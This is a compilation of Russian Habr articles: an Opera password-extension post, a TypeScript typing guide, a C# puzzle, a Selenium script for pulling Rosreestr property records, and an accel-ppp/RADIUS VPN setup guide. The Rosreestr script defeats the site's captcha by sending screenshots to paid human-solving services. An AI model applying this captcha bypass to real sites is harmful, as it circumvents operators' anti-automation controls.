А вот с портами пришлось повозиться дольше всего. Так если сделать передачу порта от popup script в injected script и обратно ([как указано в документации](http://dev.opera.com/articles/view/opera-extensions-messaging/#popup_injectedscript)) напрочь перестаёт работать e.source.postMessage на события от popup script в background script. Пришлось создавать ещё один MessageChannel для работы popup script c background script. И «понатыкивать» закрытия этих всех MessageChannel, т.к. есть проблемы что при создании табов функция opera.extension.tabs.getSelected() возвращает таб с port=null.
Для внедрения картинок сначала попробовал [opera.extension.getFile()](http://dev.opera.com/articles/view/extensions-api-resourceloader-getfile/), но она оказалась асинхронной, по-этому загрузку картинок реализовал так же как и загрузку CSS (через XMLHttpRequest) и при внедрении стилей производил замену на base64 закодированные картинки.
Собственно само расширение:
[rghost](http://rghost.ru/53154991), [sendspace](http://www.sendspace.com/file/765qq3)
с не закомментированными postError
[rghost](http://rghost.ru/53155054), [sendspace](http://www.sendspace.com/file/9pgccc)
#### Ограничения
* Если сменить порт для подключения к KeePassHttp то нужно править `/>` в config.xml из-за ограничений в [спецификации](http://www.w3.org/TR/widgets-access/#the-access-element) по которой реализован контроль сетевого доступа расширений в Опере.
* Не работает перехват HTTP авторизации, т.к. в Опере просто нет такого механизма перехвата.
* В консоли много ошибок «Unknown pseudo class» с указанием на атрибут CSS ":first". По крайней мере в Dragonfly их было просто масса.
* Иногда приходиться обновлять страницу из-за проблем с портами, мне так и не удалось выяснить почему при создании новых табов значение port=null.
* Не отрабатывает alert() в background script, при этом ни ошибок ничего.
* Не работает копирование пароля в буфер обмена из генератора паролей, сильно не копался пока. нужно курить [спецификацию](http://dev.w3.org/2006/webapi/clipops/clipops.html)
Спасибо за внимание! | https://habr.com/ru/post/216239/ | null | ru | null |
# TypeScript в React-приложениях. 3. Как использовать типизацию
В каждом проекте свои правила и подходы в типизации данных. Некоторые из них общепринятые, кое-какие сомнительны, а иные не достаточно строги. В данной статье предлагается объективный взгляд на законы, придуманные разработчиками для использования TypeScript.
Содержание[1. Как типизировать данные](https://habr.com/ru/post/693558/)
[2. Как понимать типы](https://habr.com/ru/post/693590/)
**3. Как использовать типизацию**
[4. Глубокая типизация](https://habr.com/ru/post/696294/)
[5. Связанная типизация](https://habr.com/ru/post/697548/)
[6. Изящная типизация](https://habr.com/ru/post/697564/)
Какие имена давать типам?
-------------------------
Именование типов следует тем же правилам, что и именования переменных: своим названием они должны объяснять, какую сущность содержит переменная такого типа. Типы принято писать с большой буквы. Иногда используют префиксы и постфиксы для разных типов.
```
type Achievement = {
name: string;
}
type TAchievement = {
name: string;
}
type AchievementType = {
name: string;
}
interface IAchievement {
name: string;
}
enum Tabs {
MAIN = 'main',
CONTACTS = 'contacts'
}
enum ETabs {
MAIN = 'main',
CONTACTS = 'contacts'
}
enum TabsEnum {
MAIN = 'main',
CONTACTS = 'contacts'
}
```
*Код 3.1. Префиксы и постфиксы в именах типов*
В целом префиксы не несут никакого особого смысла. Как показано в Коде 1.5 из статьи "Как типизировать данные" имена из контекста значений и контекста типов не конфликтуют. А описание того, что за сущность содержится в типе ложится на плечи основной части имени. Тем более префиксы не нужны, чтобы определить что перед нами переменная или тип - контексты значений и типов не пересекаются.
Конфликт имён типов и переменных возникает при импорте типа и React-компонента. Данная ситуация не редкость для React-приложений и легко решается:
```
import { Achievement as AchievementType } from './types';
import { Achievement } from './components';
```
*Код 3.2. Импортирование типа и компонента с одинаковыми именами*
Стоит задуматься о необходимости уникального имени типа в рамках проекта. Не всегда комфортно, введя в поиск имя компонента, видеть в результатах мешанину из типов и переменных. Но когда вы типизируете пропсы для компонента, вряд ли вам понадобится уникальное имя для типа, который используется только в одном месте.
Следуя принципу единообразия, нужно именовать типы, как это принято на проекте, но если у вас есть возможность выбирать, используйте здравый смысл.
Где описывать типы
------------------
Доступность типов следует блочной модели. Но в большинстве проектов типы описываются на уровне модуля, сразу после импортов. Это соответствует цели не засорять логику кодом типизации.
Тип переменной конечно описывается рядом с ней, но если он имеет довольно ёмкое описание, то лучше вынести его в отдельный type на уровень модуля. Соответственно, если в модуле для логики слишком много описанных типов, то их удобно так же вынести в отдельный файл, а разросшийся файл с типами разбить на несколько.
Границы, где происходит решение о выносе типа выше, определяются здравым смыслом, но на некоторых проектах присутствуют конкретные правила. Например, выносить все типы из файлов логики и импортировать их или писать один-два типа для файла компонента, но если типов больше, выносить в отдельный файл.
interface или type для объектных типов
--------------------------------------
**type** умеет почти всё, что умеет **interface** и немного больше. Полный отказ от interface не приводит к проблемам в большинстве проектов. Interface умеет *редекларировать* ранее описанный тип, что в редких случаях полезно для расширения типизации:
```
interface Array {
findLast~~(predicate: (this: void, value: T, index: number, obj: T[]) => value is S, thisArg?: any): S | undefined;
findLast(predicate: (value: T, index: number, obj: T[]) => unknown, thisArg?: any): T | undefined;
}~~
```
*Код 3.3. Повторная декларация interface Array добавляет в него новый метод findLast (тип описан по примеру метода find).*
Если же вы пишете библиотеку общего пользования, то можете писать interface в тех случаях, когда хотите позволить изменять пользователям кода ваши типы. В библиотеках на TypeScript куда важнее связывать используемые типы, чтобы пользователю не приходилось страдать от замечаний анализатора. О связанных типов будет рассказано в следующих статьях.
Отказаться от type не получится, так как он используется в объединении и пересечении типов, что является очень полезной возможностью. Но разработчик свободен в выборе способов типизации и конечно же стоит следовать принятым практикам на проекте.
Запрет на использование типа any
--------------------------------
Тип **any** вреден тем, что по своей сути не типизирует данные. Он удобен при переходе проекта с JavaScript на TypeScript, пока разработчики постепенно типизируют новый код, старый код, не должен краснеть ошибками.
Отсутствие в коде **any** ещё не означает, что он не используется, так как этот тип неявно проставляется в параметры и другие переменные, чей тип анализатор не может определить по коду.
```
// param приобретает тип any
type Fn = (param) => void
const myFn = (param) => {
//...
}
```
*Код 3.4. Параметры неявно принимают тип any*
В этой ситуации запрет any через линтеры немного наивен. Кроме того иногда наш код готов работать с любым типом. Тогда можно прописать тип **unknown**. Анализатор, увидев этот тип, будет следить за тем, чтобы при передаче такой переменной происходило сужение типа до требуемого (что можно сделать через условия или защитники типа).
```
const myFn = (param: unknown) => {
if (typeof param === 'string') {
// здесь с помощью typeof (защитник типа)
// тип unknown сужен до типа string
// и мы можем использовать переменную param как строку
return;
}
if (param instanceof Date) {
// с помощью защитника типа instanceof можно опредилить,
// что param является объектом даты.
return;
}
// и т.п.
}
```
*Код 3.5. Примеры сужения типа unknown различными способами*
Избегание оператора as
----------------------
Оператор сужения типа **as** называют хаком типизации. Он искусственно сужает тип, чтобы переменной более узкого типа можно было присвоить значение более широкого.
```
import React, { FC } from 'react';
import Roles from './types';
type Props = {
getRolesByLang: (lang: string) => Roles[]
}
const Component: FC = ({ getRolesByLang }) => {
const url = window.location.href;
const lang = new URLSearchParams(url).get('lang'); // тип string | null
const roles = getRolesByLang(lang as string);
//...
}
```
*Код 3.6. Сужение типа string | null к типу string с помощью оператора as*
Сужение типа переменных должно происходить естественно как показано в коде 3.5, чтобы анализатор мог проверить правильно использования переменной в разных участках кода и подсветить ошибки.
Есть ситуации, когда анализатор не способен определить тип и тогда as является не только не запрещённым, но и правильным решением.
Авторское отступлениеВ литературе пишут, что прописывая as, разработчик как бы говорит "TypeScript, я гарантирую, что здесь такой тип". Но учитывая, насколько неправильно разработчики используют as, эта фраза скорее звучит так: "TypeScript, заткнись! Я лучше тебя знаю, какой здесь должен быть тип".
Эти ситуации имеют конкретные причины:
* TypeScript не может определить тип в результате парсинга JSON, строк или ArrayBuffer, так как хранимые в них данные имеют более узкие типы, чем возвращают методы и нет возможности заранее это узнать;
* типизация нативных или библиотечных функций такова, что не позволяет вывести из входных данных более узкие типы (например reduce). Разработчик не может повлиять на их типы и вынужден преобразовывать результат через as.
```
// getItem всегда возвращает тип string,
// но функция требует более узкий тип
type Level = 'senior' | 'middle' | 'junior'ж
const currentColor = localStorage.getItem('level') as Level;
const getPermissions = (level: Level) => {
// ...
}
// при создании новой структуры метод reduce ориентируется на тип
// второго аргумента, но его значение может не соответствовать
// типу результата.
type PropContainer = {
prop1: boolean;
prop2: boolean;
}
const props = ['prop1', 'prop2'].reduce(
(acc, prop) => ({
...acc,
[prop]: true,
}),
{} as PropContainer
);
```
*Код 3.7. Примеры, где as помогает сужать тип*
В большинстве случаях, где разработчики сами пишут типизацию данных и функции, можно обойтись без оператора as. Для этого нужно выяснить, почему тип переменный не сузился до нужного множества значений. Обычно причина в плохой типизации исходного значения или отсутствии проверок для переменной. Часть решений будут рассмотрены в следующих статьях.
Типизация функций
-----------------
Функции могут быть типизированы различными способами:
```
//тип задаётся переменной, которой присваивается функция
type Fn = (num: number) => string
const fn1: Fn = (num) => `id-${num}`;
// тип задаётся аргументам и возвращаемому значению
const fn2 = (num: number): string => `id-${num}`;
// тип аргументов задается как массив или кортеж
const fn3 = (...arg: [number]): string => `id-${arg[0]}`;
// тип функции, которая принимает любые аргументы
type FnWithAnyArgs = (...arg: any[]) => void;
// функция принимает тип через дженерик и типизирует
// с его помощью аргументы и возвращаемое значение
const fn4 = (param: T): [T] => [param];
```
*Код 3.8. Типизация функций различными способами*
Излишне использовать все эти способы одновременно. Кроме того, тип возвращаемого значения может быть вычислен анализатором TypeScript.
Использование дженериков, единого типа для функции или для аргументов даёт интересные возможности, которые будут рассмотрены в следующих статьях.
Использование существующих типов
--------------------------------
Библиотеки предоставляют типы для работы со своими данными. Прежде, чем придумывать новый тип, проверьте в файлах декларации d.ts предоставленные типы, возможно похожий тип уже есть и логичнее использовать его.
```
// React-компонент использует кастомную типизацию
import React from 'react';
type Props = { children: React.ReactNode }
const MyComponent = (props) => (
<>props.children
)
// React-компонент может быть типизирован существующими типами
import { FC, WithChildrenProp } from 'react';
const MyComponent: FC = (props) => (
<>props.children
)
```
*Код 3.9. Типизация React-компонента*
С увеличением опыта работы с библиотеками разработчик узнаёт о предоставляемых ими типах. Так же не следует пренебрегать утильными типами, существующие в самом языке TypeScript.
```
// имена собираемых в приложении метрик
type MetricsNames = 'total' | 'success' | 'correct' | 'win' | 'fail' | 'error'
// статистика собранных по метрикам действий
type Statistics = Record;
// статистика метрик для получения ачивок (достижений),
// учитываются только некоторые метрики
type AchievementStats = Pick
// условия получения ачивок
type AchievementCondition = Partial
```
Код 3.10 Пример использования утильных типов
Перечисленные подходы в разработке приложения позволяют анализатору TypeScript работать в полную силу. Язык TypeScript предоставляет намного больше возможностей, которые очень практично и изящно можно использовать в приложении.
Следующая статья [TypeScript в React-приложениях. 4. Глубокая типизация](https://habr.com/ru/post/696294/) | https://habr.com/ru/post/694832/ | null | ru | null |
# C#: Этюды, часть 6
Со времени последнего этюда прошло очень много времени, но я надеюсь, что хабраюзеры не успели утратить интерес к C#.
В этот раз задачка довольно простая, но новичкам в шарпе она может оказаться полезной. Есть следующий код:
`var x = new T(...);
var y = new T(...);
Console.WriteLine("{0}", object.ReferenceEquals(x, y));`
где T — некоторый тип,… — параметры конструктора.
Найдите такой T и такие параметры, чтобы этот код выдавал на экран True (или аналог, в зависимости от языка установленного фреймворка).
new убирать ни в коем случае нельзя. Также нельзя вызывать какие-либо методы у только что созданного объекта. В x и y сохраняется ровно то значение, которое вернул оператор new. Весь код должен быть управляемый и безопасный, и конечно, не стоит добавлять новые операторы Console.WriteLine.
Я знаю пока что два решения. | https://habr.com/ru/post/93875/ | null | ru | null |
# Получить выписку из Росреестра через ФГИС ЕГРН и python. Часть 2
В этой статье попробуем получить выписки из ФГИС ЕГРН с помощью python (selenium) сразу по нескольким объектам недвижимости, решим капчу с помощью сервиса anticaptcha, используя его api. При встрече с капчей нейросети трогать не будем, так как они могут показаться сложнее в реализации, да и процент «успешных разгадываний» капч с их помощью пока ниже.
Ссылка на 1-ю часть статьи:[Получить выписку из Росреестра через ФГИС ЕГРН и python. Часть 1](https://habr.com/ru/post/461045/)
Начало нашей программы будет сходно с аналогичным из программы предыдущего поста.Сперва происходит автоматическая авторизация на сервисе ФГИС ЕГРН, ввод ключа входа:
**код**
```
import webbrowser,time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.action_chains import ActionChains
import openpyxl
import pyautogui
import os
from python3_anticaptcha import ImageToTextTask
wb = openpyxl.load_workbook('rosreestr-objects.xlsx')
sheet=wb.get_active_sheet()
browser = webdriver.Firefox()
browser.implicitly_wait(40)
browser.get ('https://rosreestr.ru/wps/portal/p/cc_present/ir_egrn')
act = browser.find_element_by_css_selector('.v-panel-content > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > input:nth-child(1)')
for i in '---------':
act.send_keys(i)
time.sleep(2)
act = browser.find_element_by_css_selector('.v-panel-content > div:nth-child(1) > div:nth-child(1) > div:nth-child(3) > div:nth-child(1) > input:nth-child(1)')
for i in '----':
act.send_keys(i)
time.sleep(2)
act = browser.find_element_by_css_selector('.v-panel-content > div:nth-child(1) > div:nth-child(1) > div:nth-child(5) > div:nth-child(1) > input:nth-child(1)')
for i in '----':
act.send_keys(i)
time.sleep(2)
act = browser.find_element_by_css_selector('.v-panel-content > div:nth-child(1) > div:nth-child(1) > div:nth-child(7) > div:nth-child(1) > input:nth-child(1)')
for i in '----':
act.send_keys(i)
time.sleep(2)
act = browser.find_element_by_css_selector('.v-panel-content > div:nth-child(1) > div:nth-child(1) > div:nth-child(9) > div:nth-child(1) > input:nth-child(1)')
for i in '-----------':
act.send_keys(i)
time.sleep(2)
act = browser.find_element_by_css_selector('.v-button-normalButton > span:nth-child(1) > span:nth-child(1)')
act.click()
```
Вместо "---" надо внести соответствующие части кода авторизации ФГИС ЕГРН, которые в коде авторизации разделены символом "-".
«rosreestr-objects.xlsx» — файл с объектами недвижимости, по котором пойдут запросы. Если объектов недвижимости более 20, могут возникнуть проблемы, о которых ниже.
Теперь формируем перечень объектов, забирая их из таблицы excel и отправляем на сайт в нужную строку, нажимаем поиск:
**код**
```
n=1
while n<11: #количество объектов в таблице excel
i=sheet['C'+str(n)].value
test.append(i+';')
n+=1
# поиск объектов недвижимости
act = browser.find_element_by_css_selector('.v-gridlayout-margin > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > span:nth-child(1) > span:nth-child(2)')
act.click()
time.sleep(1)
act = browser.find_element_by_css_selector('.v-verticallayout-searchFormOuter > div:nth-child(1) > div:nth-child(2) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > input:nth-child(1)')
act.click()
act.clear()
for i in test:
act.send_keys(i)
time.sleep(3)
act = browser.find_element_by_css_selector('.v-filterselect-error > input:nth-child(1)')
act.click()
act.clear()
for i in 'Свердловская область':
act.send_keys(i)
time.sleep(5)
act.send_keys(Keys.ENTER)
act = browser.find_element_by_css_selector('.v-horizontallayout-borderTop > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > span:nth-child(1) > span:nth-child(1)')
act.click()
```
При этом на сайт улетает сразу несколько объектов для поиска, что дополнительно экономит время.
### Регистрация на сайте anti-captcha.com
Не обязательно пользоваться именно этим сайтом, но можно взять его за основу.
Ресурс, как говорит название, предоставляет решение для решения капч. Такая вот тавтология. Платно. 1 доллар за 1000 капч. Должно хватить на первое время. Суть его работы простая — отправленная на сайт (или его сервис) капча решается живыми людьми (или не совсем живыми) по ту сторону экрана. Решение практически мгновенное, способное по скорости посоперничать с нейросетями. Точность практически сто процентная.
В нашем случае алгоритм такой: сделали фото капчи с экрана, отправили фото в сервис с помощью api, забрали ответ. Таким образом можно решить практически любую капчу, состоящую из цифр, букв и т.д.
Итак, после регистрации на сайте, и оплате 1 доллара, необходимо в разделе api забрать свой ключ:
**картинка**
**картинка2**
Все, больше сайт нам не нужен.
### Возвращаемся к программе.
Так как объекты на экране находятся в списке, программа будет последовательно заходить в каждый объект и делать по нему запрос, решая капчу:
**код**
```
x=1
ActionChains(browser).move_to_element(browser.find_element_by_xpath('/html/body/div[1]/div[6]/div[4]/div/div/section/div[2]/div[2]/div/div/div[2]/div/div[2]/div/div/div/div[1]/div/div/div/div[5]/div/div/div[2]/div[1]/table/tbody/tr['+str(x)+']')).click().perform()
time.sleep(2)
act = browser.find_element_by_css_selector('.v-textfield')
act.click()
time.sleep(1)
act = browser.find_element_by_tag_name('html')
act.send_keys(Keys.PAGE_DOWN)#прокручиваем страницу, чтобы увидеть капчу
time.sleep(2)
a=0
os.chdir('C:\\1')
im=pyautogui.screenshot(imageFilename=str(a)+'.jpg',region=(238,394,220,70))#разрешение экрана 1280х1024
#im=pyautogui.screenshot(imageFilename=str(a)+'.jpg',region=(317,404,160,200))#делаем фото капчи на память
time.sleep(1)
captcha_file = 'C:\/1\/0.jpg'
```
Капча по объекту сразу не видна на экране, поэтому происходит нажатие page\_down, затем фото капчи и сохранение ее на диск. Разрешение экрана может у всех разное, программа писалась под экран 1280х1024.
Чтобы не мучаться с подбором координат на экране при определении границ капчи, которую требуется сфотографировать, оставляю код для определения позиции мыши на экране:
**код**
```
#! python3
# mouseNow.py - Displays the mouse cursor's current position.
import pyautogui
print('Press Ctrl-C to quit.')
try:
while True:
# Get and print the mouse coordinates.
x, y = pyautogui.position()
positionStr = 'X: ' + str(x).rjust(4) + ' Y: ' + str(y).rjust(4)
pixelColor = pyautogui.screenshot().getpixel((x, y))
positionStr += ' RGB: (' + str(pixelColor[0]).rjust(3)
positionStr += ', ' + str(pixelColor[1]).rjust(3)
positionStr += ', ' + str(pixelColor[2]).rjust(3) + ')'
print(positionStr, end='')
print('\b' * len(positionStr), end='', flush=True)
except KeyboardInterrupt:
print('\nDone.')
```
Теперь воспользуемся api anticaptcha и отправим картинку на распознавание в сервис, полученный результат программа введет в соответствующее окно на сайте Росреестра сама:
**код**
```
ANTICAPTCHA_KEY = "-------------------------------"
result = ImageToTextTask.ImageToTextTask(anticaptcha_key=ANTICAPTCHA_KEY).captcha_handler(captcha_file=captcha_file)
b=result.get('solution').get('text')#ответ на капчу с сервиса
print(b)
act = browser.find_element_by_css_selector('.v-textfield')
act.click()
for a in b:
act.send_keys(a)
time.sleep(0.1)
act.send_keys(Keys.ENTER)
time.sleep(1)
```
\*Не забываем ввести вместо "-------------------------------" вставить api ключ.
Осталось понажимать соотвествующие кнопки и продолжить цикл по объектам недвижимости:
**код**
```
act.click()
time.sleep(3)
act = browser.find_element_by_css_selector('.v-table-body-wrapper')
act.send_keys(Keys.DOWN)
act.send_keys(Keys.DOWN)
time.sleep(3)
x+=1
```
Здесь могут возникнуть сложности, если объектов слишком много (50 и более). Это связано со сдигом окна просмотра и часть объектов не попадает в окно, видимое программой. Как с этим бороться? Возможно, добавить еще одну act.send\_keys(Keys.DOWN) в код выше.
Что делать, если даже люди по ту сторону экрана решили капчу неправильно (кстати, капча иногда не прогружается и даже обновление картинки не спасает)? Добавлять обработку ошибок в код. Но это уже совсем другая история.
### Не нравится anticaptcha? Используем Rucaptcha!
Для того, чтобы перейти на аналогичный сервис, который, по субъективным соображениям работает быстрее в части отдачи распознанной капчи и стоит немного дешевле (33 руб. за 1000 капч), достаточно поменять два момента.
Во-первых, получить api-код, зарегистрировавшись на сайте rucaptcha.com
Во-вторых, обозначить это в коде программы, поменяв соответствующие строки:
**Код**
```
RUCAPTCHA_KEY = "здесь код api"
from python_rucaptcha import ImageCaptcha
result = ImageCaptcha.ImageCaptcha(rucaptcha_key=RUCAPTCHA_KEY).captcha_handler(captcha_file=captcha_file)
b=result["captchaSolve"] #это полученная решенная капча
```
Как видно выше, сервисы похожи. Что выбрать — дело вкуса.
Программа — [скачать](https://yadi.sk/d/0egolem7NXiXaQ).
Тестовые объекты недвижимости — [скачать](https://yadi.sk/i/JpM7m4KIg80hZg). | https://habr.com/ru/post/492568/ | null | ru | null |
# Корпоративный VPN c ACCEL-PPP+IPsec и авторизацией в Freeradius через AD
В этой заметке я хочу показать пример быстрой реализации корпоративного VPN сервера с поддержкой PPTP, L2TP (как с IPsec так и без), IPSec vpn с единой базой, который сможет работать с пулами адресов, разными группами пользователей, авторизировать пользователей как из LDAP, так и из локальной базы, опциональная настройка шейпирования как для групп, так и для отдельных пользователей с поддержкой windows, linux, osx, ios, android клиентов и все это на открытых решениях.
P.S. В данной заметке аспекты сетевой безопасности затронуты не будут, иначе она разрастется в огромный документ, с кучей нюансов в реализации, возможно о защите периметра и сетевой безопасности отдельно расскажу в следующий раз.
Кому интересно, добро пожаловать под кат.
**Оглавление:**
Введение
[Подготовительные работы на сервере](#text0)
[Accel-PPP (PPTP, L2TP)](#text1)
[Strongswan (IPsec)](#text2)
[Freeradius](#text3)
[Samba 4](#text4)
В результате мы планируем получить примерно такую схему:
В сети есть мобильные клиенты, офисные клиенты и защищенная сеть с важными сервисами, которая должны быть доступна только через VPN при этом офисные клиенты и мобильные клиенты должны получать от ВПН разные подсети и иметь разные права на доступы к ресурсам, что-то общее, что-то только для одних или других, также в сети присутствуют администраторы, которые должны иметь полный доступ к внутренней инфраструктуре компании как работая из офиса, так и на выезде, данная схема не охватывает внутриофисную сеть с ее серверами, доступными офисным пользователям локально, а мобильным клиентам через VPN.
Начинаем настройку сервера.
#### 0) Подготовительные работы.
Перед тем как приступить непосредственно к настройке VPN, проведем некоторые подготовительные работы.
И так у нас есть свежеустановленный сервер с Debian 7 (не принципиально, аналогично будет работать на любом другом linux) в минимальной конфигурации. Логинимся на него по ssh или в локальной консоли, затем:
Ставим правильный часовой пояс (в примере я ставлю MSK)
```
mv /etc/localtime /etc/localtime_org && ln -s /usr/share/zoneinfo/"Europe/Moscow" /etc/localtime && date
```
Отключаем IPv6, если не планируете использовать на данном сервере
```
echo net.ipv6.conf.all.disable_ipv6=1 > /etc/sysctl.d/disableipv6.conf
```
В репы подключаем бэкпорты(чтоб не ставить древние samba и strongswan в которых есть ряд проблем), для этого добавляем в **/etc/apt/sources.list** следующие строки:
```
deb http://http.debian.net/debian wheezy-backports main contrib non-free
deb http://mirror.yandex.ru/debian/ wheezy-backports main contrib non-free
```
Устанавливаем минимально необходимые на данном этапе пакеты
```
apt-get update
apt-get install cmake make libssl-dev libpcre3-dev libnet-snmp-perl libtritonus-bin bzip2 checkinstall ntpdate
```
Синхронизируем время на сервере, лучше сразу с доменными часами, самый простой вариант через
```
ntpdate DC.DOMAIN.COM
```
Указываем DNS сервер домена в /etc/resolv.conf
**Настройки фаирвола специфичны для компании и тут не публикую, но на основе его мы привязываем разные подсети клиентов VPN к разным запретам и разрешениям.**
Тут и далее
**ХХ.УУ.1.99 — внешний IP вашего сервера.**
#### 1) Accel-PPP — основной сервис для работы с L2TP и PPTP
**Описание с сайта проекта**ACCEL-PPP представляет собой высокопроизводительный VPN/IPoE сервер для linux.
Его преимущество перед другими решениями является объединение различных популярных VPN технологий в единое приложение.
Существует много открытых решений для организации VPN сервисов, но все они ориентированы на какой-то один вид VPN: только PPTP, только PPPOE, только L2TP.
Если вы хотите запустить мультисервисный VPN сервер, то должны изучать и настраивать каждое приложение отдельно.
С ACCEL-PPP вы получаете одно приложение, которое поддерживает всё, с единым конфигурационным файлом, единым управлением и мониторингом.
…
С проектом можно ознакомиться более подробно [тут](https://accel-ppp.org).
*Данный VPN очень слабо освещен, на хабре упоминаний нет, все более-менее обсуждения крутятся на одной [ветке нага](http://forum.nag.ru/forum/index.php?showtopic=45266), хотя по удобству эксплуатации, стабильности работы и возможностям на голову обходит более популярные решения, но закончим с лирикой и приступим.*
Скачиваем и кидаем на сервер.
```
http://downloads.sourceforge.net/project/accel-ppp/accel-ppp-1.9.0.tar.bz2
```
разархивируем
```
tar -xjf accel-ppp-1.9.0.tar.bz2
mkdir accel-ppp-build
cd accel-ppp-build
```
собираем
```
cmake -DBUILD_PPTP_DRIVER=FALSE -DLOG_PGSQL=FALSE -DNETSNMP=FALSE -DRADIUS=TRUE -DSHAPER=TRUE /root/accel-ppp-1.9.0/
make
checkinstall -D
```
Создаем скрипт автозапуска из примера.
```
cd ../accel-ppp-1.9.0/contrib/debian
cp accel-ppp-init /etc/init.d/accel-ppp
```
Определяем дирректорию с демоном
```
which accel-pppd
```
Скорее всего для deb будет **/usr/local/sbin/accel-pppd**
В стартовом файле меняем пути на полученный выше.
```
nano /etc/init.d/accel-ppp
```
Добавляем в автозапуск
```
insserv -v accel-ppp
```
Создаем дирректорию для логов
`mkdir /var/log/accel-ppp/`
Создаем фаил с доступами для проверки коннектов, в дальнейшем заменим его на radius авторизацию
```
touch /etc/ppp/chap-secrets
```
Формат:
**login \* password ip**\_для выдачи(если надо брать из пула, то просто \*)
Создаем конфигурационный фаил **/etc/accel-ppp.conf**
**Содержимое**\*попытался максимально прокомментировать опции, во время теста раскомментируйте **chap-secrets** и закомментируйте **radius** в секции **modules**
```
[modules]
path=/usr/local/lib64/accel-ppp
#Данный модуль предназначен для записи журнала событий в файл.
log_file
#Данный модуль записывает события в syslog.
#log_syslog
#Рабочие протоколы
pptp
l2tp
#Методы аутентификации
auth_mschap_v2
auth_mschap_v1
auth_chap
auth_pap
#модуль поддержки файла CHAP-secrets конфликтует с radius
#chap-secrets
#модуль поддержки файла RADIUS конфликтует с chap-secrets
radius
#Назначение IPv4 адреса из статического пула.
ippool
sigchld
#Данный модуль запускает скрипты ip-up/ip-down при старте сессии и обработки RADIUS CoA запрос.
#pppd_compat
#Модуль управления пропускной способностью.
shaper
#Модуль управления частотой подключений.
#connlimit
[core]
log-error=/var/log/accel-ppp/core.log
thread-count=4
[ppp]
verbose=0
min-mtu=1280
mtu=1480
mru=1480
#ccp=1
check-ip=1
# Если эта опция управления отсутствует контроль количество сессий на пользователя выключен.
# Если эта опция replace - accel-ррр прекращает первую сессию, когда вторая выполяет подключение.
# Если эта опция deny accel-ррр будет сбрасывать попытки авторизации второй сессии
#single-session=replace
#Задаё политику шифрования MPPE (Microsoft Point-to-Point Encryption)
# prefer – Не разрывает соединение при отрицании шифрования клиентом
mppe=prefer
ipv4=prefer
#Если эта опция задана, и больше 0, то PPP модуль будет отправлять LCP пакеты эхо-запроса каждые n секунд.
lcp-echo-interval=300
#Определяет максимальное количество эхо-запросов без ответа, по достижению значения n сессия будет сброшена.
lcp-echo-failure=6
[dns]
dns1=8.8.8.8
dns2=8.8.4.4
[auth]
#any-login=0
#noauth=0
[pptp]
bind=ХХ.УУ.1.99
echo-interval=300
echo-failure=6
verbose=0
[l2tp]
bind=ХХ.УУ.1.99
#ppp-max-mtu=1300
dictionary=/usr/local/share/accel-ppp/l2tp/dictionary
hello-interval=300
#timeout=60
#rtimeout=5
retransmit=3
host-name=vpn.mydomain.ru
#dir300_quirk=1
#secret=
verbose=0
[radius]
dictionary=/usr/local/share/accel-ppp/radius/dictionary
nas-identifier=cisco
nas-ip-address=127.0.0.1
gw-ip-address=ХХ.УУ.1.99
auth-server=127.0.0.1:1812,Radius-Sicret
acct-server=127.0.0.1:1813,Radius-Sicret
server=127.0.0.1,Radius-Sicret,auth-port=1812,acct-port=1813,req-limit=0,fail-time=0
dae-server=127.0.0.1:3799,Radius-Sicret
timeout=5
max-try=3
acct-timeout=600
acct-delay-time=1
verbose=0
[shaper]
attr=Filter-Id
#down-burst-factor=1.0
#up-burst-factor=1.0
#latency=50
#mpu=0
#time-range=1,7:00-00:59
#time-range=2,1:00-3:59
#time-range=3,4:00-6:59
#leaf-qdisc=sfq perturb 10
up-limiter=htb
down-limiter=htb
cburst=1375000
ifb=ifb0
r2q=10
quantum=1500
verbose=0
# Указывает диапазон IP-адресов, с которых клиенты могут подключиться к серверу в виде: x.x.x.x/mask (for example 10.0.0.0/8)
[client-ip-range]
#192.168.0.0/18
disable
[log]
log-file=/var/log/accel-ppp/accel-ppp.log
log-emerg=/var/log/accel-ppp/emerg.log
log-fail-file=/var/log/accel-ppp/auth-fail.log
log-debug=/var/log/accel-ppp/debug.log
#syslog=accel-pppd,daemon
#log-tcp=127.0.0.1:3000
copy=1
color=1
#per-user-dir=per_user
#per-session-dir=per_session
#per-session=1
level=0
# Раскоментировать во время теста, пока не настроен радиус
#[chap-secrets]
#gw-ip-address=ХХ.УУ.1.99
#chap-secrets=/etc/ppp/chap-secrets
[ip-pool]
attr=Framed-Pool
gw-ip-address=ХХ.УУ.1.99
10.65.16.129-254,fullaccess
10.65.17.129-254,mobila
10.65.18.129-254,office
[cli]
telnet=127.0.0.1:2000
tcp=127.0.0.1:2001
#password=123
#[connlimit]
#limit=10/min
#burst=3
#timeout=60
```
Запускаем
```
service accel-ppp start
```
Если что-то не так, увеличиваем в конфиге уровень логирования и смотрим логи.
Для работы под нагрузкой необходим небольшой тюнинг, если у вас менее 500 одновременных клиентов на VPN, можно не делать, кроме пункта **net.ipv4.ip\_forward=1**, он обязателен.
**Добавляем в /etc/sysctl.conf**############################
net.ipv4.ip\_forward=1
net.ipv4.neigh.default.gc\_thresh1 = 1024
net.ipv4.neigh.default.gc\_thresh2 = 2048
net.ipv4.neigh.default.gc\_thresh3 = 4096
net.ipv4.netfilter.ip\_conntrack\_max=9548576
net.netfilter.nf\_conntrack\_max=9548576
# turn off selective ACK and timestamps
net.ipv4.tcp\_sack = 0
net.ipv4.tcp\_timestamps = 0
# memory allocation min/pressure/max.
# read buffer, write buffer, and buffer space
net.ipv4.tcp\_rmem = 10000000 10000000 10000000
net.ipv4.tcp\_wmem = 10000000 10000000 10000000
net.ipv4.tcp\_mem = 10000000 10000000 10000000
net.core.rmem\_max = 524287
net.core.wmem\_max = 524287
net.core.rmem\_default = 524287
net.core.wmem\_default = 524287
net.core.optmem\_max = 524287
net.core.netdev\_max\_backlog = 300000
